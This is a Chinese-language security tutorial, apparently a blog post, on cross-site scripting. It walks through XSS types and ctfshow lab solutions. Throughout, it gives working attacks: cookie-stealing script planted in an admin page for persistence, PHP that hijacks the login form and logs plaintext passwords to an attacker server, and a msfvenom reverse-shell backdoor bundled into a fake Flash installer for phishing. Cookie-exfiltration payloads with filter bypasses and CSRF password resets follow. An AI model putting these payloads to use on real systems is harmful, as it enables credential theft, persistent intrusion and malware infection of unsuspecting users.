安全基础~通用漏洞4

文章目录

知识补充

SQL注入小迪讲解
文件上传小迪讲解
文件上传中间件解析

XSS跨站脚本

xss平台:
https://xss.pt/

原理

恶意攻击者往 Web 页面里插入恶意可执行网页脚本代码,当用户浏览该页之时,嵌入其中 Web 里面的脚本代码会被执行,从而可以达到攻击者盗取用户信息或其他侵犯用户安全隐私的目的。

攻击类型

1、反射型XSS(非持久型XSS)

又称非持久型XSS。之所以称为反射型XSS,执行代码从目标服务器通过错误信息、搜索结果等等方式"反射"回来:发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,故叫反射型XSS。 而称为非持久型XSS,则是因为这种攻击方式具有一次性,由于代码注入的是一个动态产生的页面而不是永久的页面,因此这种攻击方式只在点击链接的时候才产生作用。

攻击者通过电子邮件等方式给别人发送带有恶意脚本代码参数的 URL,当 URL 地址被打开时,注入脚本被传输到目标服务器上,然后服务器将注入脚本"反射"到受害者的浏览器上,特有的恶意代码参数被 HTML 解析、执行。

2、存储型XSS(持久型XSS)

又称持久型XSS,攻击脚本将被永久地存放在目标服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码。

一般存在于 Form 表单提交等交互功能,如发帖留言,提交文本信息等,黑客利用的 XSS 漏洞,将内容经正常功能提交进入数据库持久保存,当前端页面获得后端从数据库中读出的注入代码时,恰好将其渲染执行。

3、DOM-based 型

客户端的脚本程序可以动态地检查和修改页面内容,而不依赖于服务器端的数据。例如客户端如从 URL 中提取数据并在本地执行,如果用户在客户端输入的数据包含了恶意的 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到 DOM-based XSS 攻击。需要特别注意以下的用户输入源 document.URL、 location.hash、 location.search、 document.referrer 等。

示例展示

  1. x接收到值会在页面中显示(反射型)。

    假如传输x的值改成JavaScript代码,就会出现弹窗:

    正常写法:http://127.0.0.1:8081/web/mysql/xss.php?x=12345

    弹窗写法:http://127.0.0.1:8081/web/mysql/xss.php?x=\<script>alert(1)</script>

    查看源代码发现会插入到HTML页面中

  2. 查看页面返回,有标签,标题等展示(存储型)

    逐一测试发现其在标签处进行css插入时会出现XSS

    发布出去之后,点击就会弹窗

  3. 传参时出现ks,检查发现它在title处有出现,测试是否具有XSS(反射型)

用</title>标签将其闭合,观察情况,发现其已经产生效果

直接用跨站语句执行,出现结果

  1. 平台:useragent.openadmintools.com

访问这个平台,可以发现他抓取了浏览器信息。从新进行访问,抓包,修改数据包UA头。

发送数据包

  1. 下订单,留言一般会在后台显示,前台进行留言,后台进行查看。这就形成了xss攻击

参考文章1
参考文章2

XSS-后台植入Cookie&表单劫持

条件:已取得相关web权限后 获取cookie的时候有时候会获取不全(phpsessid验证) 表单劫持可以得到一些权限维持,密文密码解密不了。可以通过他来获取明文账号密码。

已经取得了权限,要对后台的权限进行长期控制,可以借助xss盗取cookie,把他写入代码到登录成功文件,利用beef或xss平台实时监控Cookie等凭据实现权限维持 这种方法即使他把后台账号密码改了,也可以进行权限维持。(不会被后门工具识别。) 比如:登录的框页面http://127.0.0.1:8105/admin/login/login.php 登录成功后会跳转到http://127.0.0.1:8105/admin/index.php?lang=cn 我们就可以在登录成功的admin/index.php上进行操作,写入<sCRiPt sRC=//xss.pt/X8Vz></sCrIpT> 进行登录,然后就可以触发到相对应的代码。

可以观察到,他加载的数据包的内容

  • 这样,只要登录成功就能获取,就能进行实时控制。进行了权限维持。 但是有一些网站不采用cookie,即使获取到了,但是还是不能登录。 正常来讲,访问这个地址:http://127.0.0.1:8105/admin/index.php?lang=cn 进行抓包修改cookie: UM_distinctid=17f38be65b3495-049fe07b7f19bd-e726559-1fa400-17f38be65b4b7d; CNZZDATA1670348=cnzz_eid%3D674406514-1645919148-%26ntime%3D1645919148; coul=8; lastvisit=0%091645924524%09%2F; _ac_app_ua=a0540fb14f9cd9d34f; recordurl=%2Chttp%253A%252F%252F127.0.0.1%253A8105%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252Fabout%252Fshow.php%253Flang%253Dcn%2526id%253D19%2Chttp%253A%252F%252F127.0.0.1%253A8105%252Fnews%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252Fjob%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252F; PHPSESSID=e8gt6fhf1ba01jln0m6t0ljni1

  • 但是返回包里明显还是登录不成功。 正确的cookie信息:UM_distinctid=17e46c24838315-027dd22377488f8-1262694a-144000-17e46c24839418; CNZZDATA3801251=cnzz_eid%3D1994470479-1641863151-%26ntime%3D1645228788; CNZZDATA1670348=cnzz_eid%3D1668791702-1645652947-%26ntime%3D1645652947; PHPSESSID=smd97a9vae15lsg0tf2claaoi3 可以得知他获取的cookie是不全的,或者说错误的。一般来说少了phpsessid (有防护)

    那么就来进行实时的获取明文账号密码,这样才能进行权限维持。需要一定的基础量,能读懂数据的传输流程。 那么现在观察一下这个网站的登录流程是怎样的。 登录地址http://127.0.0.1:8105/admin/login/login.php 找到想对应的代码段D:\phpstudy_pro\WWW\xss-MetInfo5.1.4\admin\login\login.php 抓取登录的数据包

  • 可以看到,他提交的数据包是给了login_check.php文件,也就是说,他的账号密码是发送给了login_check.php这个文件。 查看提交的数据

  • action=login&loginlang=login.php%3Flangset%3Dcn&login_name=admin&login_pass=admin&Submit=%E7%99%BB%E5%BD%95 再次观察login_check.php

  • 可以知道两个接受账号密码的变量: 接受账号: m e t i n f o a d m i n n a m e 接受密码: metinfo_admin_name 接受密码: metinfoadminname接受密码:metinfo_admin_pass 然后用到JavaScript语句来进行账号密码的发送,那么应该怎么构造JavaScript语句呢? 将账号发送到某个地方 语句构造:

    js 复制代码
    <script src="http://www.xiaodi8.com/get.php?user="账号"&pass"密码""></script>
     在某个地方来实现接收。get.php实现接收 构造payload: 
     $up='<script src=http://127.0.0.1:8081/web/get.php?user='.$metinfo_admin_name.'&pass='.$metinfo_admin_pass.'></script>'; 
     echo $up;

    http://127.0.0.1:8081/web中穿件get.php代码。 get.php代码:

    php 复制代码
     <?php $u=$_GET['user']; $p=$_GET['pass']; 
    	 $myfile=fopen("newfile.txt","a+"); 
    	 fwrite($myfile,$u); fwrite($myfile,'|');
    	 fwrite($myfile,$p); fwrite($myfile,'\n');
    	 fclose($myfile); 
     ?> 

    接收账号密码,写到newfile文件中

    然后尝试登录这个网站中,可以看到他尝试请求http://127.0.0.1:8081/web/get.php这个网站,把admin和password发送出去

  • 在登录下输入的账号密码,就会发送到newfile中记录,这个时候就可以进行测试了。

    主要解决两个问题:

    1.cookie失败的时候(截取不到)。 2.取得一些权限,密码解密不了。

XSS-Flash钓鱼配合MSF捆绑上线

  • 条件:beef上线受控后或直接钓鱼(受害者爱看SESE) 1、生成后门,攻击是pc端的。 msfvenom -p windows/meterpreter/reverse_tcp LHOST=47.100.167.248 LPORT=1111 -f exe > flash.exe

  • flash下载官方地址:https://www.flash.cn/ 我们构造的flash下载地址:http://127.0.0.1:8106/ (一般是构造一个比较逼真的网址。) 把后门放在D:\phpstudy_pro\WWW\web\目录上 打开构造好的地址,index.html文件,把立即下载这个地址改为后门下载地址:http://127.0.0.1:8081/web/flash.exe

  • 运行exe并且安装正常的文件,所以需要捆绑正常文件。 在官方网站下载一个正常的flash文件 正常文件:flashcenter_pp_ax_install_cn.exe 后门文件:flash.exe 把两个文件放在一起压缩。

    选择高级,自解压选项,解压到c:\windows\temp

  • 点击设置,进行配置

  • 在确定,压缩为rar文件。然后再把文件名一改,改成flash_install.exe文件,修改图标。 用到Restorator2018_Full_1793_FIX工具。 把两个exe文件拖进去,然后把官方的图片导出。

  • 然后导入到对应的文件中,启动msf监听: msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 0.0.0.0 set lport 1111 run

  • 那个别人是怎么访问你这个地址呢?

    1.通过xss beef来让浏览器自动访问下载后门,并且运行

    2.直接发给对方诱使他去访问。 通过发送消息,比如小迪与某主播瑟瑟画面流出:http://127.0.0.1:8081/web/诱惑.html 当访问想看的时候

  • 访问,直接跳转,然后配合后门上线

  • 执行后门,上线完成

    这一类遇到的问题:免杀问题(后门下载下来会遭到火绒等查杀)

xss漏洞小展现

ctfshow XSS靶场练习

ctfshow默认会有一个机器人去访问触发的跨站,flag一般都隐藏在cookie中。
参考文章

方法一:

利用xss平台生成链接:https://xss.pt/xss.php

不过平台好像不能用了

方法二:

自动接收脚本

在自己的服务器上放一个PHP代码

php 复制代码
# a.php
<?php
	$cookie = $_GET['cookie'];
	$log = fopen("cookie.txt", "a");
	fwrite($log, $cookie . "\n");
	fclose($log);
?>
<script>document.location.href='http://xxx/a.php?cookie='+document.cookie</script>

JavaScript的 document.cookie 将以字符串的方式返回所有的cookie,类型格式: cookie1=value; cookie2=value;

让控制太进行跳转访问window.location.href='http://xxx/a.php' 这样回车就会跳转到http://xxx/a.php

可以使用:http://ceye.io/ 网络安全工具,用于监控和跟踪网络流量,以便发现潜在的安全漏洞和攻击

XSS绕过总结参考

web 316

首先测试一下<script>alert(1)</script>,弹窗成功

注册过防火墙,利用http://ceye.io/ 网络安全工具


<script>window.location.href='你的ceye地址/'+document.cookie</script>
<script>location.href='http://你的ceye地址/'+document.cookie</script>
<script>window.open('http://你的ceye地址/'+document.cookie)</script>

web 317-319简单过滤

  • 317过滤script
  • 318过滤img
  1. <body onload="window.location.href='http://xxx/a.php?1='+document.cookie"></body>
  2. xss平台的十六进制编码格式
    <iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。&#60;&#115;&#67;&#82;&#105;&#80;&#116;&#32;&#115;&#82;&#67;&#61;&#34;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#120;&#115;&#115;&#46;&#112;&#116;&#47;&#48;&#115;&#116;&#52;&#34;&#62;&#60;&#47;&#115;&#67;&#114;&#73;&#112;&#84;&#62;>

web320-322-过滤空格

使用tab\反斜杠或/**/代替空格

web323-326-过滤iframe

  • web322、324过滤 ; 分号
  • web325过滤 . 点号
js 复制代码
<body/onload="window.location.href='http://yours-ip/a.php?1='+document.cookie"></body>

eg:325

web327

收件人poster必须是admin,才能发送,什么原因,I don't konw

发件人和信的内容填写xss payload即可

web328- js拿管理员cookie

参考

存在有登录,有注册。

注册之后登录,发现没有管理员权限,无法查看



在用户管理中,有账号密码等显示(这里不是管理员不让显示)

思路: 后台管理员有功能页面,能够查看注册用户的账号密码 如果我将注册的账号密码改为js代码,在管理员查看账号密码下会不会触发js代码么 触发了JavaScript代码,获取到管理员的cookie值,就可以进行用户的查看。

那么就注册一个JS
<script>window.location.href='http://fd35br.ceye.io/'+document.cookie</script>,显示注册成功

获取到PHPSESSID,直接在cookie中添加此内容

使用bp抓包,修改cookie,将sessid换成我们刚刚得到的id



web329- js拿管理员cookie失效

利用上一关得问题,不过拿到cookie之后就失效了,我们已经知道了flag出现的位置,直接获取网页源码的元素,过滤到该点即可

构造payload

js 复制代码
<script> 
$('.laytable-cell-1-0-1').each(function(index,value)
	{
		if(value.innerHTML.indexOf('ctf'+'show')>-1)
		{
		window.location.href='http://你的ceye地址/'+value.innerHTML;
      	} 
	}); 
</script>

需要一次完成,后面的dacaiji就是flag

web330- xsrf

前端存在修改密码,且没有token,存在csrf

在修改密码时,抓包,发现存在一个api接口/api/change.php?p=123,此时修改的密码就是123

所以只要将注册内容可以跳转到该接口,使得admin访问,即可重置管理员密码为想要设置的内容。
<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>

其中127.0...0.1是服务器本身地址

使用密码123登录admin用户,查看flag

web331- xsrf post

同样有修改密码的地方,但是是post提交数据,抓包分析

在 url/js/select.js 中存在 post json 方式修改密码请求的js代码

<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123'}});</script>

修改管理员密码

web332-333

参考链接:https://blog.csdn.net/rfrder/article/details/114079028#t17

相关推荐
BullSmall1 小时前
第三方软件安全-Dependency‑Track Docker 部署
安全·docker·容器
AImatters2 小时前
国产算力底座,支撑油气储运数字化迈过关键分水岭
安全·cpu·算力·海光·油气储运
叠叠乐5 小时前
中国移动家庭云电脑window关闭所有安全脚本
安全
Jmyd01235 小时前
实训室的 3D 模型涉及肖像文物,数据安全与合规怎么做?
安全·3d·数据安全·虚拟实训
芯盾时代5 小时前
《金融业网络安全管理办法(征求意见稿)》全条款深度拆解(三)
网络·安全·网络安全
敢敢是只喵i6 小时前
一个本地 AI Agent 要操作多个门店或 SaaS 账号,应该怎样安全切换身份?
人工智能·安全·ai·系统架构·业界资讯
Acrel12347 小时前
DC800V 大规模落地,算力机房安全该如何保障
安全
其实防守也摸鱼7 小时前
权限提升与横向移动:从内网渗透到域控的完整技术图谱
运维·服务器·数据库·安全·github·copilot·渗透
深圳海导科技8 小时前
资产防盗追踪系统:物联网高价值资产安全管理|海导科技navynav
科技·物联网·安全
波多利希最高礼仪的握力器8 小时前
安全复制SCP
linux·服务器·安全